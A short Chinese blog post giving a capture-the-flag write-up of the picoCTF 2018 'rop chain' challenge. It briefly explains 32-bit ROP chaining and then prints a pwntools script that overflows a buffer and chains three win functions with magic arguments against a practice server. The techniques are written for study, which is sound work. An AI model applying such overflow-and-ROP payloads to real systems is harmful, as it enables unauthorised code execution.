picoctf_2018_rop chain

这道题就是考对rop链的理解
image
image
溢出点白给
然后就是看每一个函数的点
image
image
image
三个层层递进的函数。然后就是补码运算,如果是一的话,就是给什么就是什么。
然后这里回忆一下rop链的构造。先抬高栈,32位怎么抬,就是先放函数,这样就会抬高,原理就是push ebp。这样就高了,然后如果有多个函数,就先抬完来,再传参,这题第一个win1没有参数,所以不用管。

点击查看代码
from pwn import *
io=remote("node4.buuoj.cn",27774)
elf=ELF("./PicoCTF_2018_rop_chain")
win1=elf.sym['win_function1']
win2=elf.sym['win_function2']
flag=elf.sym['flag']
payload='a'*(0x18+0x4)+p32(win1)+p32(win2)+p32(flag)+p32(0xBAAAAAAD) + p32(0xDEADBAAD)
io.sendlineafter("Enter your input> ",payload)
io.interactive()
posted @ 2022-07-01 21:23  REPWNER  阅读(35)  评论(0编辑  收藏  举报